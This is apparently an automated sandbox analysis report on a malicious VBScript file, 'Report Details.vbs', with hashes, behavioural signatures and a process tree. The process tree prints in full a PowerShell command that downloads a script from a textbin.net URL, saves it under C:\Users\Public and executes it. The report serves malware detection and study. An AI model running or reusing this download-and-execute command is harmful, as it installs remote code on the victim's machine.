Analysis
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max time kernel
35s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
15/04/2022, 01:59
Static task
static1
Behavioral task
behavioral1
Sample
Report Details.vbs
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Report Details.vbs
Resource
win10v2004-20220414-en
General
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Target
Report Details.vbs
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Size
57KB
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MD5
52d94e55aac61768976f39040c288eef
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SHA1
e942fa64351f106b614b28e86d3a42d50e5a0443
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SHA256
fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747
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SHA512
fe278c9483992b979e356ec4380182d7519d47144cf3ed9c9caaf0346c4bcb788272562f57264ac7a3a35bf67e9e36ac19ec5d5a07d9564a99360de77b72b717
Malware Config
Extracted
https://textbin.net/raw/x6lfwhnyrz
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1836 powershell.exe 6 1836 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1836 powershell.exe 1288 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1836 powershell.exe Token: SeDebugPrivilege 1288 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1080 wrote to memory of 1836 1080 WScript.exe 28 PID 1080 wrote to memory of 1836 1080 WScript.exe 28 PID 1080 wrote to memory of 1836 1080 WScript.exe 28 PID 1836 wrote to memory of 1288 1836 powershell.exe 30 PID 1836 wrote to memory of 1288 1836 powershell.exe 30 PID 1836 wrote to memory of 1288 1836 powershell.exe 30
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report Details.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/x6lfwhnyrz'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\x6lfwhnyrz.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1'2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS13⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1288
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Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD55f58c89cc45c1996f2a945044abcc7ed
SHA119c965217fbbc20817539b77a18febf16b840608
SHA256fa6ccb127fa37106502cae6374fdd9441b969efa44d87810737907e4c22f2d95
SHA5120f8b02b256d41cbe2e846bd4bbdb7b04d19d2e76b4cb770e746795391c4191b6da1eca44e9b500fc2a74f01dd7fa9faf8da43e7ef7fbf4f329a9bdf137b8b0f8
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Filesize
3B
MD5ecaa88f7fa0bf610a5a26cf545dcd3aa
SHA157218c316b6921e2cd61027a2387edc31a2d9471
SHA256f1945cd6c19e56b3c1c78943ef5ec18116907a4ca1efc40a57d48ab1db7adfc5
SHA51237c783b80b1d458b89e712c2dfe2777050eff0aefc9f6d8beedee77807d9aeb2e27d14815cf4f0229b1d36c186bb5f2b5ef55e632b108cc41e9fb964c39b42a5